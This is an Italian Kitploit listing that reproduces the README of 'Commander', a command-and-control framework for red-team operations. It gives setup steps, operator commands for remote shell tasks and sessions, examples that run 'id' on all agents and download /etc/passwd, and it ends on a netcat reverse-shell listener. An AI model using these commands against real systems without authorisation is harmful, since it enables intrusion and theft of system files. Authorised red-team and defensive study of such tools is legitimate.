Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Commander — Framework di comando e controllo basato su Python con comunicazione TLS crittografata, supporto per più agenti (Python/C), sessioni interattive, trasferimento file e offuscamento AES per operazioni di red team. | Kitploit
Strumenti/GitHubGitHub/voukatas/commander
Strumenti di Crittografia/DecrittografiaPost-ExploitPenetration TestingCommand and ControlRed TeamingSviluppo Payload
GitHubvoukatas/commander

Commander

Framework di comando e controllo basato su Python con comunicazione TLS crittografata, supporto per più agenti (Python/C), sessioni interattive, trasferimento file e offuscamento AES per operazioni di red team.

Vedi Repository
6318222 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Commander

Commander è un framework di comando e controllo (C2) scritto in Python, Flask e SQLite. Viene fornito con due agenti scritti in Python e C.

In continuo sviluppo

Non adatto a script-kiddie

Caratteristiche

  • Comunicazione completamente crittografata (TLS)
  • Agenti multipli
  • Offuscamento
  • Sessioni interattive
  • Scalabile
  • Codifica dati Base64
  • API RESTful

Agenti

  • Python 3
    • L'agente Python supporta:
      • sessioni, una shell interattiva tra amministratore e agente (come SSH)
      • offuscamento
      • Sistemi sia Windows che Linux
      • funzionalità di download/upload file
  • C
    • L'agente C supporta per ora solo la funzionalità base, il controllo dei compiti per gli agenti
    • Solo per sistemi Linux

Requisiti

È richiesto Python >= 3.6 e le seguenti dipendenze

Linux per admin.py e c2_server.py. (Non testato su Windows)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

Anteprima

screenshot

Come Usarlo

Per prima cosa crea i certificati e le chiavi necessari

# se vuoi proteggere la chiave con una passphrase escludi -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes

Avvia prima il modulo admin.py per creare un file db sqlite locale

python3 admin.py

Continua eseguendo il server

python3 c2_server.py

E infine l'agente. Per l'agente Python puoi eseguirlo direttamente, ma per l'agente C devi prima compilarlo.

# agente Python
python3 agent.py

# agente C
gcc agent.c -o agent -lcurl -lb64
./agent

Per impostazione predefinita, sia gli agenti che il server funzionano su TLS e base64. Il punto di comunicazione è impostato a 127.0.0.1:5000 e nel caso sia necessario un punto diverso, deve essere cambiato nei file sorgente degli agenti.

Come operatore/amministratore puoi usare i seguenti comandi per controllare i tuoi agenti

Comandi:

  task add arg c2-commands
    Aggiunge un compito a un agente, a un gruppo o a tutti gli agenti.
    arg: può avere i seguenti valori: 'all' 'type=Linux|Windows' 'your_uuid'
    c2-commands: i valori possibili sono c2-register c2-shell c2-sleep c2-quit
      c2-register: Fa sì che l'agente si registri di nuovo.
      c2-shell cmd: Accetta un comando shell da eseguire per l'agente. es. c2-shell whoami
         cmd: Il comando da eseguire.
      c2-sleep: Configura l'intervallo con cui un agente controllerà la presenza di compiti.
      c2-session port: Istruisce l'agente ad aprire una sessione shell con il server su questa porta.
         port: La porta a cui connettersi. Se non fornita, il valore predefinito è 5555.
      c2-quit: Forza l'agente a uscire.

  task delete arg
    Elimina un compito da un agente o da tutti gli agenti.
    arg: può avere i seguenti valori: 'all' 'type=Linux|Windows' 'your_uuid'
  show agent arg
    Mostra le informazioni per tutti gli agenti disponibili o per un agente specifico.
    arg: può avere i seguenti valori: 'all' 'type=Linux|Windows' 'your_uuid'
  show task arg
    Mostra il compito di un agente o di tutti gli agenti.
    arg: può avere i seguenti valori: 'all' 'type=Linux|Windows' 'your_uuid'
  show result arg
    Mostra la cronologia/risultato di un agente o di tutti gli agenti.
    arg: può avere i seguenti valori: 'all' 'type=Linux|Windows' 'your_uuid'
  find active agents
    Elimina il database in modo che gli agenti attivi vengano registrati di nuovo.

  exit
    Ciao ciao!


Sessioni:

  sessions server arg [port]
    Controlla un gestore di sessioni.
    arg: può avere i seguenti valori: 'start' , 'stop' 'status'
    port: la porta è opzionale per l'argomento start e se non fornita il valore predefinito è 5555. Questo argomento definisce la porta del server di sessioni.
  sessions select arg
    Seleziona a quale sessione collegarsi.
    arg: l'indice dal risultato di 'sessions list'
  sessions close arg
    Chiude una sessione.
    arg: l'indice dal risultato di 'sessions list'
  sessions list
    Mostra le sessioni disponibili
  local-ls directory
    Elenca sul tuo host i file nella directory selezionata
  download 'file'
    Scarica il 'file' localmente nella directory corrente
  upload 'file'
    Carica un file nella directory in cui si trova attualmente l'agente

Bisogna prestare particolare attenzione al comando 'find active agents'. Questo comando elimina tutte le tabelle e le ricrea. Potrebbe sembrare spaventoso ma non lo è, almeno questo è quello che credo :P

L'idea alla base di questa funzionalità è che il server c2 può richiedere a un agente di ri-registrarsi nel caso in cui non lo riconosca. Quindi, poiché vogliamo pulire il database dalle vecchie voci inutilizzate e allo stesso tempo trovare tutti gli host attualmente attivi, possiamo eliminare le tabelle e attivare il meccanismo di ri-registrazione del server c2. Vedi sotto per il meccanismo di ri-registrazione.

Flussi

Di seguito è riportato un diagramma di flusso normale

Flusso Normale

screenshot

Nel caso in cui l'ambiente subisca un guasto grave come un database corrotto o qualche altro guasto critico, viene abilitato il meccanismo di ri-registrazione in modo da non perdere la connessione con i nostri agenti.

Più specificamente, nel caso in cui perdiamo il database, non avremo informazioni sugli uuid che stiamo ricevendo, quindi non possiamo impostare compiti su di essi, ecc... Quindi, gli agenti continueranno a cercare di recuperare i loro compiti e poiché non li riconosciamo, chiederemo loro di registrarsi di nuovo in modo da poterli inserire nel nostro database e poterli controllare di nuovo.

Di seguito è riportato il diagramma di flusso per questo caso.

Flusso di Ri-registrazione

screenshot

Esempi utili

Per configurare il tuo ambiente, avvia prima admin.py e poi c2_server.py ed esegui l'agente. Dopo puoi controllare gli agenti disponibili.

# mostra tutti gli agenti disponibili
show agent all

Per istruire tutti gli agenti ad eseguire il comando "id" puoi farlo così:

# per tutti gli agenti
task add all c2-shell id

# controlla i risultati di "id"
show result all

Per controllare la cronologia/risultati precedenti di compiti eseguiti per un agente specifico, fallo così:

# controlla i risultati di un agente specifico
show result 85913eb1245d40eb96cf53eaf0b1e241

Puoi anche cambiare l'intervallo con cui gli agenti controllano i compiti a 30 secondi in questo modo:

# per impostarlo per tutti gli agenti
task add all c2-sleep 30

Per aprire una sessione con uno o più dei tuoi agenti, procedi come segue.

# trova l'agente/uuid
show agent all

# abilita il server ad accettare connessioni
sessions server start 5555

# aggiungi un compito per una sessione al tuo agente preferito
task add your_prefered_agent_uuid_here c2-session 5555

# mostra un elenco di connessioni disponibili
sessions list

# seleziona a quale sessione collegarsi, scegliamo 0
sessions select 0

# esegui un comando
id

# scarica localmente il file passwd
download /etc/passwd

# elenca i tuoi file localmente per verificare che passwd sia stato creato
local-ls

# carica un file (test.txt) nella directory in cui si trova l'agente
upload test.txt

# torna alla cli principale
go back

# controlla se il server è in esecuzione
sessions server status

# ferma il server di sessioni
sessions server stop

Se per qualche motivo vuoi eseguire un'altra sessione esterna come con netcat o metasploit, procedi come segue.

# mostra tutti gli agenti disponibili
show agent all

# prima apri un netcat sulla tua macchina
nc -vnlp 4444
Scarica lo strumento